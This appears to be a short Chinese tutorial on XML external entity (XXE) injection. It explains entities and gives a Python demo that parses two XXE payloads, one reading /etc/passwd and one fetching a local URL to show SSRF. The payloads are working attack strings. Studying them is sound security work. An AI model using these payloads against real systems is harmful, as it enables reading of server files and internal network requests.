xml实体注入xxe
xxe就是xml实体注入,先稍微就说一下XML entity:
entity翻译为"实体"。它的作用类似word中的"宏",也可以理解为DW中的模板,你可以预先定义一个entity,然后在一个文档中多次调用,或者在多个文档中调用同一个entity(XML定义了两种类型的entity。一种是我们这里说的普通entity,在XML文档中使用;另一种是参数entity,在DTD文件中使用。
借助XXE,攻击者可以实现任意文件读取,DOS拒绝服务攻击以及代理扫描内网等.
这里是一个Python的demo
1# coding=utf-8
2import xml.sax
3
4x = """<?xml version="1.0" encoding="utf-8"?>
5<!DOCTYPE xdsec [
6<!ELEMENT methodname ANY >
7<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
8<methodcall>
9<methodname>&xxe;</methodname>
10</methodcall>
11"""
12
13x1 = """<?xml version="1.0" encoding="utf-8"?>
14<!DOCTYPE xdsec [
15<!ELEMENT methodname ANY >
16<!ENTITY xxe SYSTEM "http://127.0.0.1:8005/xml.test" >]>
17<methodcall>
18<methodname>&xxe;</methodname>
19</methodcall>
20"""
21
22
23class MyContentHandler(xml.sax.ContentHandler):
24 def __init__(self):
25 xml.sax.ContentHandler.__init__(self)
26
27 def startElement(self, name, attrs):
28 self.chars = ""
29
30 def endElement(self, name):
31 print name, self.chars
32
33 def characters(self, content):
34 self.chars += content
35
36
37parser = MyContentHandler()
38print xml.sax.parseString(x, parser)
39print xml.sax.parseString(x1, parser)
xml.test的文件内容是字符串Hello
可以看到两个的回显分别是
其中下面的这个能看到实际请求了这个地址,还可能造成ssrf
其实还有一个demo,可以将读取的文件发送出来,可以用于没有回显的场景下,作者是使用的php,我用Python但是暂时没测试成功,稍后再发出来。
wooyun上现有的典型漏洞